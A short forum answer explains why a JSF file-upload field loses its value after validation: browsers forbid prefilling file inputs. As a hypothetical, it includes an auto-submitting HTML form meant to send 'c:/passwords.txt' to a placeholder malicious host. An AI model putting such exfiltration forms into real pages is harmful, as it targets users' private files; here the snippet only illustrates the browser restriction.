JSF <t: inputFileUpload> lost after validation failure
1 answer
It's impossible. This is an HTML security constraint. You cannot prefill / save the value of the HTML field <input type="file">. Since JSF only generates HTML, JSF cannot do this.
Imagine that this security restriction does not exist, websites will be able to do the following:
<form id="tryToGetPasswords" action="http://malicious.com" method="post" enctype="multipart/form-data">
<input type="file" name="file" value="c:/passwords.txt" />
</form>
<script>document.getElementById('tryToGetPasswords').submit();</script>
You see?
+4